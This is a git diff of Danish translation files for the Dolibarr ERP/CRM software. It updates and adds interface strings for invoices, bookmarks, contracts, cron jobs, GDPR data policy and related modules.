      Bemærk! Kun fakturaer uden betaling på det kan erstattes. Hvis fakturaen du udskifter endnu ikke er lukket, lukkes den automatisk for at "forladt". InvoiceAvoir=Kreditnota @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Denne del eller ErrorInvoiceIsNotLastOfSameType=Fejl: Datoen for faktura %s er %s. Den skal være bagud eller lig med sidste dato for samme type fakturaer (%s). Skift venligst fakturadatoen. BillFrom=Fra BillTo=Til +ShippingTo=Sendes til ActionsOnBill=Handlinger for faktura RecurringInvoiceTemplate=Skabelon / tilbagevendende faktura NoQualifiedRecurringInvoiceTemplateFound=Ingen tilbagevendende fakturaskabelon er kvalificeret til generation. @@ -622,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Betaling registreret og faktura %s indstill SendEmailsRemindersOnInvoiceDueDate=Send påmindelse på mail for ubetalte fakturaer MakePaymentAndClassifyPayed=Rekordbetaling BulkPaymentNotPossibleForInvoice=Massebetaling er ikke mulig for faktura %s (dårlig type eller status) +MentionVATDebitOptionIsOn=Mulighed for at betale skat baseret på debiteringer +MentionCategoryOfOperations=Kategori af operationer +MentionCategoryOfOperations0=Levering af varer +MentionCategoryOfOperations1=Levering af tjenester +MentionCategoryOfOperations2=Blandet - Levering af varer & levering af tjenester diff --git a/htdocs/langs/da_DK/bookmarks.lang b/htdocs/langs/da_DK/bookmarks.lang index 69ae5554c6d..f559b90c755 100644 --- a/htdocs/langs/da_DK/bookmarks.lang +++ b/htdocs/langs/da_DK/bookmarks.lang @@ -3,20 +3,21 @@ AddThisPageToBookmarks=Tilføj denne side til bogmærker Bookmark=Bogmærke Bookmarks=Bogmærker ListOfBookmarks=Liste over bogmærker -EditBookmarks=Vis / rediger bogmærker +EditBookmarks=Vis/rediger bogmærker NewBookmark=Nyt bogmærke ShowBookmark=Vis bogmærke -OpenANewWindow=Åben en ny fane -ReplaceWindow=Udskift nuværende fane +OpenANewWindow=Åbn i en ny fane +ReplaceWindow=Åben i nuværende fane BookmarkTargetNewWindowShort=Ny fane BookmarkTargetReplaceWindowShort=Nuværende fane BookmarkTitle=Bogmærke navn UrlOrLink=URL BehaviourOnClick=Adfærd ved klik på URL CreateBookmark=Opret bogmærke -SetHereATitleForLink=Sæt et navn for dette bogmærke +SetHereATitleForLink=Tildel et navn til bogmærket UseAnExternalHttpLinkOrRelativeDolibarrLink=Brug et eksternt/absolut link (https://externalurl.com) eller et internt/relativt link (/mypage.php). Du kan også bruge telefon som tel:0123456. -ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Vælg om den tilknyttede side skal åbnes i den aktuelle fane eller en ny fane -BookmarksManagement=Bogmærker forvaltning +ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Vælg om bogmærket skal åbne i denne fane eller en ny fane +BookmarksManagement=Bogmærke styring BookmarksMenuShortCut=Ctrl + shift + m NoBookmarks=Ingen bogmærker defineret +NoBookmarkFound=Intet bogmærke fundet diff --git a/htdocs/langs/da_DK/boxes.lang b/htdocs/langs/da_DK/boxes.lang index 94690fc1693..fd2a437462d 100644 --- a/htdocs/langs/da_DK/boxes.lang +++ b/htdocs/langs/da_DK/boxes.lang @@ -24,6 +24,7 @@ BoxFicheInter=Latest interventions BoxCurrentAccounts=Open accounts balance BoxTitleMemberNextBirthdays=Fødselsdage i denne måned (medlemmer) BoxTitleMembersByType=Medlemmer efter type og status +BoxTitleMembersByTags=Medlemmer efter tags og status BoxTitleMembersSubscriptionsByYear=Medlemmer Abonnementer efter år BoxTitleLastRssInfos=Latest %s news from %s BoxTitleLastProducts=Produkter / tjenester: sidst %s ændret @@ -44,8 +45,10 @@ BoxTitleSupplierOrdersAwaitingReception=Leverandør ordrer afventer modtagelse BoxTitleLastModifiedContacts=Kontakter / Adresser: senest %s ændret BoxMyLastBookmarks=Bogmærker: seneste %s BoxOldestExpiredServices=Ældste aktive udløbne tjenester +BoxOldestActions=Ældste begivenheder at lave BoxLastExpiredServices=Latest %s oldest contacts with active expired services BoxTitleLastActionsToDo=Latest %s actions to do +BoxTitleOldestActionsToDo=Ældste %s hændelser at gøre, ikke afsluttet BoxTitleLastContracts=Seneste %s kontrakter, der blev ændret BoxTitleLastModifiedDonations=Seneste %s donationer, som blev ændret BoxTitleLastModifiedExpenses=Seneste %s udgiftsrapporter, der blev ændret @@ -82,7 +85,7 @@ BoxCustomersInvoicesPerMonth=Kundefakturaer pr. Måned BoxSuppliersInvoicesPerMonth=Leverandørfakturaer per måned BoxCustomersOrdersPerMonth=Salgsordrer pr. Måned BoxSuppliersOrdersPerMonth=Levenradør ordrer per måned -BoxProposalsPerMonth=Proposals per month +BoxProposalsPerMonth=Forslag pr. måned NoTooLowStockProducts=Ingen produkter er under den lave lagergrænse BoxProductDistribution=Produkter / Services Distribution ForObject=På %s @@ -96,7 +99,7 @@ BoxTitleLatestModifiedCandidatures=Seneste %s ændrede jobansøgninger ForCustomersInvoices=Kundernes fakturaer ForCustomersOrders=Customers orders ForProposals=Tilbud -LastXMonthRolling=The latest %s month rolling +LastXMonthRolling=Den seneste %s måned rullende ChooseBoxToAdd=Add widget to your dashboard BoxAdded=Box blev tilføjet til dit instrumentbræt BoxTitleUserBirthdaysOfMonth=Fødselsdage i denne måned (brugere) @@ -115,6 +118,27 @@ BoxCustomersOutstandingBillReached=Kunder med en udestående grænse nået UsersHome=Hjemmebrugere og grupper MembersHome=Hjemmemedlemskab ThirdpartiesHome=Hjemme-tredjeparter +productindex=Hjem produkter og tjenester +mrpindex=Hjem MRP +commercialindex=Kommerciel hjemme +projectsindex=Hjemmeprojekter +invoiceindex=Hjem fakturaer +hrmindex=Hjem fakturaer TicketsHome=Hjem billetter +stockindex=Hjem aktier +sendingindex=Hjemfragt +receptionindex=Hjemmodtagelser +activityindex=Hjemmeaktivitet +proposalindex=Boligforslag +ordersindex=Hjem ordrer +orderssuppliersindex=Hjem ordrer leverandører +contractindex=Hjem kontrakter +interventionindex=Hjemlige indgreb +suppliersproposalsindex=Forslag til boligleverandører +donationindex=Hjem donationer +specialexpensesindex=Udgifter til specialtilbud i hjemmet +expensereportindex=Udgiftsrapport for hjemmet +mailingindex=Hjemmepost +opensurveyindex=Hjem åben undersøgelse AccountancyHome=Hjemregnskab ValidatedProjects=Validerede projekter diff --git a/htdocs/langs/da_DK/commercial.lang b/htdocs/langs/da_DK/commercial.lang index 30b4092a6bb..f21ebd3d946 100644 --- a/htdocs/langs/da_DK/commercial.lang +++ b/htdocs/langs/da_DK/commercial.lang @@ -64,17 +64,26 @@ ActionAC_SHIP=Send forsendelse med posten ActionAC_SUP_ORD=Send indkøbsordre via post ActionAC_SUP_INV=Send sælgerfaktura pr. Post ActionAC_OTH=Andet -ActionAC_OTH_AUTO=Automatisk oprettede begivenheder +ActionAC_OTH_AUTO=Anden bil ActionAC_MANUAL=Manuelt oprettede begivenheder ActionAC_AUTO=Automatisk oprettede begivenheder -ActionAC_OTH_AUTOShort=Auto +ActionAC_OTH_AUTOShort=Andre +ActionAC_EVENTORGANIZATION=Begivenheder til organisering af begivenheder Stats=Salgsstatistik StatusProsp=Status på tredjepart DraftPropals=Udkast for tilbud NoLimit=Ingen grænse ToOfferALinkForOnlineSignature=Link til online signatur -WelcomeOnOnlineSignaturePage=Velkommen til siden for at acceptere kommercielle forslag fra %s -ThisScreenAllowsYouToSignDocFrom=Denne skærm giver dig mulighed for at acceptere og underskrive eller nægte et tilbud / kommercielt forslag -ThisIsInformationOnDocumentToSign=Dette er oplysninger om dokumentet for at acceptere eller afvise +WelcomeOnOnlineSignaturePageProposal=Velkommen til siden for at acceptere kommercielle forslag fra %s +WelcomeOnOnlineSignaturePageContract=Velkommen til %s kontrakt PDF-signeringsside +WelcomeOnOnlineSignaturePageFichinter=Velkommen til %s Intervention PDF-signeringsside +ThisScreenAllowsYouToSignDocFromProposal=Denne skærm giver dig mulighed for at acceptere og underskrive eller afvise et tilbud/kommercielt forslag +ThisScreenAllowsYouToSignDocFromContract=Denne skærm giver dig mulighed for at underskrive kontrakt i PDF-format online. +ThisScreenAllowsYouToSignDocFromFichinter=Denne skærm giver dig mulighed for at underskrive intervention i PDF-format online. +ThisIsInformationOnDocumentToSignProposal=Dette er information på dokument, der skal accepteres eller afvises +ThisIsInformationOnDocumentToSignContract=Dette er oplysninger om kontrakten, der skal underskrives +ThisIsInformationOnDocumentToSignFichinter=Dette er information om indgreb, der skal underskrives SignatureProposalRef=Underskrift af tilbud / kommercielt forslag %s +SignatureContractRef=Underskrift af kontrakt %s +SignatureFichinterRef=Underskrift af intervention %s FeatureOnlineSignDisabled=Funktion til online-signering deaktiveret eller dokument genereret, før funktionen blev aktiveret diff --git a/htdocs/langs/da_DK/companies.lang b/htdocs/langs/da_DK/companies.lang index 0ff30706b14..cf3f69cbe95 100644 --- a/htdocs/langs/da_DK/companies.lang +++ b/htdocs/langs/da_DK/companies.lang @@ -95,7 +95,7 @@ OverAllOrders=Ordrer OverAllInvoices=Fakturaer OverAllSupplierProposals=Prisforespørgsler ##### Local Taxes ##### -LocalTax1IsUsed=Brug anden skat +LocalTax1IsUsed=Brug sekundær skat LocalTax1IsUsedES= RE anvendes LocalTax1IsNotUsedES= RE anvendes ikke LocalTax2IsUsed=Brug tredje skat @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Relativ rabat CustomerAbsoluteDiscountShort=Absolut rabat CompanyHasRelativeDiscount=Denne kunde har en standardrabat på %s%% CompanyHasNoRelativeDiscount=Denne kunde har som standard ingen rabat -HasRelativeDiscountFromSupplier=Du har en standardrabat på %s%% fra denne leverandør -HasNoRelativeDiscountFromSupplier=Du har ingen standard rabat fra denne leverandør +HasRelativeDiscountFromSupplier=Du har en standardrabat på %s%% hos denne leverandør +HasNoRelativeDiscountFromSupplier=Ingen standard relativ rabat hos denne leverandør CompanyHasAbsoluteDiscount=Denne kunde har tilgodehavender (kreditnotaer eller forudbetalinger) for %s %s CompanyHasDownPaymentOrCommercialDiscount=Denne kunde har tilgængelige rabatter (kommercielle, forudbetalinger) for %s %s CompanyHasCreditNote=Denne kunde har stadig kreditnotaer for %s %s -HasNoAbsoluteDiscountFromSupplier=Du har ingen rabat tilgængelig fra denne sælger +HasNoAbsoluteDiscountFromSupplier=Ingen rabat/kredit tilgængelig fra denne leverandør HasAbsoluteDiscountFromSupplier=Du har tilgængelige rabatter (kreditnotaer eller forudbetalinger) for %s %s fra denne leverandør HasDownPaymentOrCommercialDiscountFromSupplier=Du har tilgængelige rabatter (kommercielle, forudbetalinger) for %s %s fra denne leverandør HasCreditNoteFromSupplier=Du har kreditnotaer for %s %s fra denne leverandør @@ -444,7 +444,7 @@ AddAddress=Tilføj adresse SupplierCategory=Leverandør kategori JuridicalStatus200=Uafhængig DeleteFile=Slet fil -ConfirmDeleteFile=Er du sikker på du vil slette denne fil? +ConfirmDeleteFile=Er du sikker på, at du vil slette denne fil %s ? AllocateCommercial=Tildelt til en salgsrepræsentant Organization=Organisationen FiscalYearInformation=Regnskabsår @@ -498,3 +498,8 @@ RestOfEurope=Resten af Europa (EØF) OutOfEurope=Uden for Europa (EØF) CurrentOutstandingBillLate=Aktuel udestående regninger i restance BecarefullChangeThirdpartyBeforeAddProductToInvoice=Vær forsigtig, afhængigt af dine produkt prisindstillinger bør du ændre tredjepart, før du tilføjer produkt til POS. +EmailAlreadyExistsPleaseRewriteYourCompanyName=e-mail eksisterer allerede, skriv venligst dit firmanavn +TwoRecordsOfCompanyName=der findes mere end én registrering for denne virksomhed, kontakt os venligst for at fuldføre din partnerskabsanmodning +CompanySection=Virksomhedssektion +ShowSocialNetworks=Vis sociale netværk +HideSocialNetworks=Skjul sociale netværk diff --git a/htdocs/langs/da_DK/compta.lang b/htdocs/langs/da_DK/compta.lang index 4aea7252db8..d1b894d0ed3 100644 --- a/htdocs/langs/da_DK/compta.lang +++ b/htdocs/langs/da_DK/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (før) Balance=Balance Debit=Debet Credit=Kredit +AccountingDebit=Debet +AccountingCredit=Kredit Piece=Regnskabsdokumenter. AmountHTVATRealReceived=Netto modtaget AmountHTVATRealPaid=Netto udbetalt @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Rapporten om omsætning inds TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Rapporten om omsætning indsamlet pr. Salgsskattesats er ikke tilgængelig. Denne rapport er kun tilgængelig for omsætning faktureret. CalculationMode=Udregningsmåde AccountancyJournal=Regnskabskladde -ACCOUNTING_VAT_SOLD_ACCOUNT=Regnskabskonto som standard for moms på salg (brugt hvis ikke defineret i momsordbog opsætning) -ACCOUNTING_VAT_BUY_ACCOUNT=Startdart regnskabskonto for moms ved køb (Bliver brugt, hvis det ikke er defineret i moms opsætning) -ACCOUNTING_VAT_PAY_ACCOUNT=Regnskabskonto som standard for betaling af moms -ACCOUNTING_ACCOUNT_CUSTOMER=Regnskabskonto anvendt til kundens tredjepart +ACCOUNTING_VAT_SOLD_ACCOUNT=Konto (fra kontoplanen) skal bruges som standardkonto for moms ved salg (bruges, hvis det ikke er defineret i opsætning af momsordbog) +ACCOUNTING_VAT_BUY_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for moms på køb (bruges, hvis det ikke er defineret i opsætning af momsordbog) +ACCOUNTING_VAT_PAY_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto til betaling af moms +ACCOUNTING_ACCOUNT_CUSTOMER=Konto (fra kontoplanen) brugt til "kunde" tredjeparter ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Den dedikerede regnskabskonto, der er defineret på tredjepartskort, anvendes kun til underkonto. Denne vil blive brugt til bogføring og som standardværdi af underkontos regnskab, hvis dedikeret kundekonto på tredjepart ikke er defineret. -ACCOUNTING_ACCOUNT_SUPPLIER=Regnskabskonto anvendt til leverandør tredjepart +ACCOUNTING_ACCOUNT_SUPPLIER=Konto (fra kontoplanen) brugt til "leverandørens" tredjeparter ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Den dedikerede regnskabskonto, der er defineret på tredjepartskort, vil kun blive anvendt til kassekladden. Denne vil blive brugt til regnskabet og som standardværdi i bogholderi regnskabet, hvis dedikeret leverandør regnskabskonto på tredjepart ikke er defineret. ConfirmCloneTax=Bekræft klonen af ​​en social / skattemæssig afgift ConfirmCloneVAT=Bekræft klonen på en momsangivelse @@ -300,3 +302,4 @@ InvoiceToPay15Days=At betale (15 til 30 dage) InvoiceToPay30Days=At betale (> 30 dage) ConfirmPreselectAccount=Forudvælg regnskabskode ConfirmPreselectAccountQuestion=Er du sikker på, at du vil forudvælge de %s valgte linjer med denne regnskabskode? +AmountPaidMustMatchAmountOfDownPayment=Det indbetalte beløb skal svare til udbetalingsbeløbet diff --git a/htdocs/langs/da_DK/contracts.lang b/htdocs/langs/da_DK/contracts.lang index bd9ebcfaa5c..62d97e4028f 100644 --- a/htdocs/langs/da_DK/contracts.lang +++ b/htdocs/langs/da_DK/contracts.lang @@ -2,46 +2,47 @@ ContractsArea=Kontrakter område ListOfContracts=Liste over kontrakter AllContracts=Alle kontrakter -ContractCard=Kontrakt-kortet -ContractStatusNotRunning=Ikke kører +ContractCard=Kontrakt kort +ContractStatusNotRunning=Stoppet ContractStatusDraft=Udkast ContractStatusValidated=Bekræftet ContractStatusClosed=Lukket -ServiceStatusInitial=Ikke kører -ServiceStatusRunning=Kørsel -ServiceStatusNotLate=Kører, ikke er udløbet +ServiceStatusInitial=Stoppet +ServiceStatusRunning=Aktiv +ServiceStatusNotLate=Aktiv, ikke er udløbet ServiceStatusNotLateShort=Ikke er udløbet -ServiceStatusLate=Kører, er udløbet +ServiceStatusLate=Aktiv, er udløbet ServiceStatusLateShort=Udløbet ServiceStatusClosed=Lukket -ShowContractOfService=Show contract of service +ShowContractOfService=Vis service kontrakt Contracts=Kontrakter -ContractsSubscriptions=Contracts/Subscriptions -ContractsAndLine=Contracts and line of contracts +ContractsSubscriptions=Kontrakter +ContractsAndLine=Kontrakter og kontrakt linjer Contract=Kontrakt -ContractLine=Contract line -Closing=Closing +ContractLine=Kontrakt linje +ContractLines=Kontraktlinjer +Closing=Lukning NoContracts=Ingen kontrakter -MenuServices=Services +MenuServices=Tjenester MenuInactiveServices=Tjenester, der ikke er aktive MenuRunningServices=Kørsel tjenester MenuExpiredServices=Udløbet tjenester MenuClosedServices=Lukket tjenester NewContract=Ny kontrakt NewContractSubscription=Ny kontrakt eller abonnement -AddContract=Create contract +AddContract=Opret kontrakt DeleteAContract=Slet en kontrakt ActivateAllOnContract=Aktivér alle tjenester CloseAContract=Luk en kontrakt -ConfirmDeleteAContract=Are you sure you want to delete this contract and all its services? -ConfirmValidateContract=Are you sure you want to validate this contract under name %s? -ConfirmActivateAllOnContract=Dette åbner alle tjenester (endnu ikke aktiv). Er du sikker på at du vil åbne alle tjenester? +ConfirmDeleteAContract=Er du sikker på, at du vil slette denne kontrakt og alle dens tjenester? +ConfirmValidateContract=Er du sikker på, at du vil validere denne kontrakt under navnet %s ? +ConfirmActivateAllOnContract=Dette vil åbne alle tjenester (endnu ikke aktive). Er du sikker på, at du vil åbne alle tjenester? ConfirmCloseContract=Dette lukker alle tjenester (udløbet eller ej). Er du sikker på, at du vil lukke denne kontrakt? -ConfirmCloseService=Are you sure you want to close this service with date %s? +ConfirmCloseService=Er du sikker på, at du vil lukke denne tjeneste med dato %s ? ValidateAContract=Bekræfte en kontrakt ActivateService=Aktivér service ConfirmActivateService=Are you sure you want to activate this service with date %s? -RefContract=Contract reference +RefContract=Kontrakt reference DateContract=Kontrakt dato DateServiceActivate=Forkyndelsesdato aktivering ListOfServices=Liste over tjenesteydelser @@ -52,8 +53,8 @@ ListOfRunningServices=Liste over kører tjenester NotActivatedServices=Ikke aktiverede tjenester (blandt bekræftet kontrakter) BoardNotActivatedServices=Tjenester for at aktivere blandt bekræftet kontrakter BoardNotActivatedServicesShort=Tjenester, der skal aktiveres -LastContracts=Latest %s contracts -LastModifiedServices=Latest %s modified services +LastContracts=Seneste %s kontrakter +LastModifiedServices=Seneste %s ændrede tjenester ContractStartDate=Startdato ContractEndDate=Slutdato DateStartPlanned=Planlagt startdato @@ -76,18 +77,18 @@ ActivateAllContracts=Aktivér alle kontrakt linjer CloseAllContracts=Luk alle kontrakter DeleteContractLine=Slet en kontrakt linje ConfirmDeleteContractLine=Are you sure you want to delete this contract line? -MoveToAnotherContract=Flyt tjeneste i en anden kontrakt. +MoveToAnotherContract=Flyt tjeneste til en anden kontrakt. ConfirmMoveToAnotherContract=Jeg choosed nyt mål kontrakt og bekræfte, jeg ønsker at flytte denne tjeneste i denne kontrakt. -ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Forny kontrakten linje (antal %s) +ConfirmMoveToAnotherContractQuestion=Vælg i hvilken eksisterende kontrakt (fra samme tredjepart), du vil flytte denne service til? +PaymentRenewContractId=Forny kontrakt %s (service %s) ExpiredSince=Udløbsdatoen NoExpiredServices=Ingen udløbne aktive tjenester -ListOfServicesToExpireWithDuration=List of Services to expire in %s days -ListOfServicesToExpireWithDurationNeg=List of Services expired from more than %s days -ListOfServicesToExpire=List of Services to expire -NoteListOfYourExpiredServices=This list contains only services of contracts for third parties you are linked to as a sale representative. -StandardContractsTemplate=Standard contracts template -ContactNameAndSignature=For %s, name and signature: +ListOfServicesToExpireWithDuration=Liste over tjenester, der udløber om %s dage +ListOfServicesToExpireWithDurationNeg=Liste over tjenester er udløbet efter mere end %s dage +ListOfServicesToExpire=Liste over tjenester, der udløber +NoteListOfYourExpiredServices=Denne liste indeholder kun tjenester af kontrakter for tredjeparter, du er knyttet til som salgsrepræsentant. +StandardContractsTemplate=Skabelon for standard kontrakter +ContactNameAndSignature=For %s, navn og signatur: OnlyLinesWithTypeServiceAreUsed=Only lines with type "Service" will be cloned. ConfirmCloneContract=Er du sikker på at du vil klone kontrakten %s ? LowerDateEndPlannedShort=Lavere planlagt slutdato for aktive tjenester @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Undertegnelse kontrakt kunde kontakt HideClosedServiceByDefault=Skjul lukkede tjenester som standard ShowClosedServices=Vis lukkede tjenester HideClosedServices=Skjul lukkede tjenester +UserStartingService=Bruger start service +UserClosingService=Brugerlukningstjeneste diff --git a/htdocs/langs/da_DK/cron.lang b/htdocs/langs/da_DK/cron.lang index 2be612cb99e..2229d0e6860 100644 --- a/htdocs/langs/da_DK/cron.lang +++ b/htdocs/langs/da_DK/cron.lang @@ -11,7 +11,7 @@ URLToLaunchCronJobs=URL til at kontrollere og starte kvalificerede cron-job fra OrToLaunchASpecificJob=Eller for at kontrollere og starte et bestemt job fra en browser KeyForCronAccess=Security key for URL to launch cron jobs FileToLaunchCronJobs=Kommandolinje for at kontrollere og starte kvalificerede cron-job -CronExplainHowToRunUnix=On Unix environment you should use the following crontab entry to run the command line each 5 minutes +CronExplainHowToRunUnix=På Unix systemer skal du bruge den følgende crontab instilling for at afvikle kommandolinien hvert 5 minut CronExplainHowToRunWin=På Microsoft (tm) Windows-miljø kan du bruge Scheduled Task-værktøjer til at køre kommandolinjen hvert 5. minut CronMethodDoesNotExists=Class %s does not contains any method %s CronMethodNotAllowed=Metode %s af klasse %s er i sortliste over forbudte metoder @@ -26,7 +26,7 @@ CronCommand=Command CronList=Scheduled jobs CronDelete=Delete scheduled jobs CronConfirmDelete=Are you sure you want to delete these scheduled jobs? -CronExecute=Launch scheduled job +CronExecute=Start nu CronConfirmExecute=Are you sure you want to execute these scheduled jobs now? CronInfo=Scheduled job module allows to schedule jobs to execute them automatically. Jobs can also be started manually. CronTask=Job @@ -58,8 +58,8 @@ CronNote=Kommentar CronFieldMandatory=Fields %s is mandatory CronErrEndDateStartDt=End date cannot be before start date StatusAtInstall=Status ved modul installation -CronStatusActiveBtn=Tidsplan -CronStatusInactiveBtn=Deaktivere +CronStatusActiveBtn=Aktiver planlægning +CronStatusInactiveBtn=Deaktiver CronTaskInactive=Dette job er deaktiveret (ikke planlagt) CronId=Id CronClassFile=Filename with class @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Gå til menuen "Hjem - Administrati JobDisabled=Job disabled MakeLocalDatabaseDumpShort=Local database backup MakeLocalDatabaseDump=Opret en lokal database dump. Parametre er: komprimering ('gz' eller 'bz' eller 'ingen'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' eller filnavn til opbygning, antal backupfiler +MakeSendLocalDatabaseDumpShort=Send backup af lokal database +MakeSendLocalDatabaseDump=Send lokal database backup via e-mail. Parametre er: til, fra, emne, besked, filnavn (navn på fil sendt), filter ('sql' kun til backup af database) +BackupIsTooLargeSend=Beklager, sidste backup-fil er for stor til at kunne sendes via e-mail +CleanUnfinishedCronjobShort=Rens ufærdige cronjob +CleanUnfinishedCronjob=Ren cronjob sidder fast i behandlingen, når processen ikke længere kører WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. DATAPOLICYJob=Datarenser og anonymizer JobXMustBeEnabled=Job %s skal være aktiveret +EmailIfError=E-mail for advarsel om fejl +ErrorInBatch=Fejl ved kørsel af jobbet %s + # Cron Boxes LastExecutedScheduledJob=Sidste udførte planlagte job NextScheduledJobExecute=Næste planlagte job, der skal udføres NumberScheduledJobError=Antal planlagte job med fejl +NumberScheduledJobNeverFinished=Antal planlagte job, der aldrig blev afsluttet diff --git a/htdocs/langs/da_DK/datapolicy.lang b/htdocs/langs/da_DK/datapolicy.lang new file mode 100644 index 00000000000..32196dd32c1 --- /dev/null +++ b/htdocs/langs/da_DK/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Databeskyttelsespolitik +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Modul til at administrere databeskyttelse (overensstemmelse med GDPR) + +# +# Administration page +# +datapolicySetup = Opsætning af moduldatabeskyttelsespolitik +Deletion = Sletning af data +datapolicySetupPage = Afhængigt af lovene i dine lande (eksempel artikel 5 i GDPR), skal personoplysninger opbevares i en periode, der ikke overstiger det, der er nødvendigt for de formål, hvortil de blev indsamlet, undtagen til arkivformål.
      Sletningen vil ske automatisk efter en vis varighed uden begivenhed (den varighed, som du vil have angivet nedenfor). +NB_MONTHS = %s måneder +ONE_YEAR = 1 år +NB_YEARS = %s års +DATAPOLICY_TIERS_CLIENT = Kunde +DATAPOLICY_TIERS_PROSPECT = Kundeemne +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospekt/kunde +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Heller kunde/kunde +DATAPOLICY_TIERS_FOURNISSEUR = Leverandør +DATAPOLICY_CONTACT_CLIENT = Kunde +DATAPOLICY_CONTACT_PROSPECT = Kundeemne +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Kundeemne/kunde +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Heller kunde/kunde +DATAPOLICY_CONTACT_FOURNISSEUR = Leverandør +DATAPOLICY_ADHERENT = Medlem +DATAPOLICY_Tooltip_SETUP = Kontakttype - Angiv dine valg for hver type. +DATAPOLICYMail = Opsætning af e-mails +DATAPOLICYSUBJECTMAIL = Emne for e-mail +DATAPOLICYCONTENTMAIL = Indholdet af e-mailen +DATAPOLICYSUBSITUTION = Du kan bruge følgende variabler i din e-mail (LINKACCEPT giver mulighed for at oprette et link, der registrerer personens aftale, LINKREFUSED gør det muligt at registrere personens afslag): +DATAPOLICYACCEPT = Meddelelse efter aftale +DATAPOLICYREFUSE = Besked efter uenighed +SendAgreementText = Du kan sende en GDPR-e-mail til alle dine relevante kontakter (som endnu ikke har modtaget en e-mail, og som du ikke har registreret noget om deres GDPR-aftale for). For at gøre dette skal du bruge følgende knap. +SendAgreement = Send emails +AllAgreementSend = Alle e-mails er blevet sendt +TXTLINKDATAPOLICYACCEPT = Tekst til linket "aftale" +TXTLINKDATAPOLICYREFUSE = Tekst til linket "uenighed" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR: Behandling af personoplysninger +DATAPOLICY_consentement = Indhentet samtykke til behandling af personoplysninger +DATAPOLICY_opposition_traitement = Modsætter sig behandlingen af hans personoplysninger +DATAPOLICY_opposition_prospection = Modsætter sig behandlingen af hans personoplysninger med henblik på efterforskning + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymiser en tredjepart +DATAPOLICY_POPUP_ANONYME_TEXTE = Du kan ikke slette denne kontakt fra Dolibarr, fordi der er relaterede emner. I overensstemmelse med GDPR vil du gøre alle disse data anonyme for at respektere dine forpligtelser. Vil du fortsætte? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portabilitet GDPR +DATAPOLICY_PORTABILITE_TITLE = Eksport af personlige data +DATAPOLICY_PORTABILITE_CONFIRMATION = Du ønsker at eksportere denne kontakts personlige data. Er du sikker ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymiseret %s + +# V2 +DATAPOLICYReturn = GDPR-validering +DATAPOLICY_date = Dato for aftale/uenighed GDPR +DATAPOLICY_send = Dato for afsendelse af aftale-e-mail +DATAPOLICYReturn = GDPR-validering +DATAPOLICY_SEND = Send GDPR-e-mail +MailSent = Emailen er sendt + +# ERROR +ErrorSubjectIsRequired = Fejl: Emnet for e-mail er påkrævet. Angiv det i modulopsætningen +=På grund af et teknisk problem kunne vi ikke registrere dit valg. Det beklager vi. Kontakt os for at sende os dit valg. +NUMBER_MONTH_BEFORE_DELETION = Antal måneder før sletning diff --git a/htdocs/langs/da_DK/deliveries.lang b/htdocs/langs/da_DK/deliveries.lang index f5bb5bc9ae1..8c0b00db4b6 100644 --- a/htdocs/langs/da_DK/deliveries.lang +++ b/htdocs/langs/da_DK/deliveries.lang @@ -22,7 +22,7 @@ NameAndSignature=Navn og underskrift: ToAndDate=Til___________________________________ om ____ / _____ / __________ GoodStatusDeclaration=Har modtaget varerne over i god stand, Deliverer=Befrier: -Sender=Sender +Sender=Afsender Recipient=Modtager ErrorStockIsNotEnough=Der er ikke nok lager Shippable=Fragtvarer diff --git a/htdocs/langs/da_DK/dict.lang b/htdocs/langs/da_DK/dict.lang index 94b4c8d49fe..18633521326 100644 --- a/htdocs/langs/da_DK/dict.lang +++ b/htdocs/langs/da_DK/dict.lang @@ -247,10 +247,13 @@ CountryJE=Jersey CountryME=Montenegro CountryBL=Saint Barthelemy CountryMF=Saint Martin +CountryXK=Kosovo ##### Civilities ##### CivilityMME=Mrs +CivilityMMEShort=Mrs CivilityMR=Mr. +CivilityMRShort=Mr. CivilityMLE=Ms CivilityMTRE=Mester CivilityDR=Doctor diff --git a/htdocs/langs/da_DK/ecm.lang b/htdocs/langs/da_DK/ecm.lang index de4857728d0..50d410f66e4 100644 --- a/htdocs/langs/da_DK/ecm.lang +++ b/htdocs/langs/da_DK/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Manual bibliotek ECMSectionAuto=Automatisk bibliotek ECMSectionsManual=Manual abonnentfortegnelser ECMSectionsAuto=Automatisk abonnentfortegnelser +ECMSectionsMedias=Medias træ ECMSections=Abonnentfortegnelser 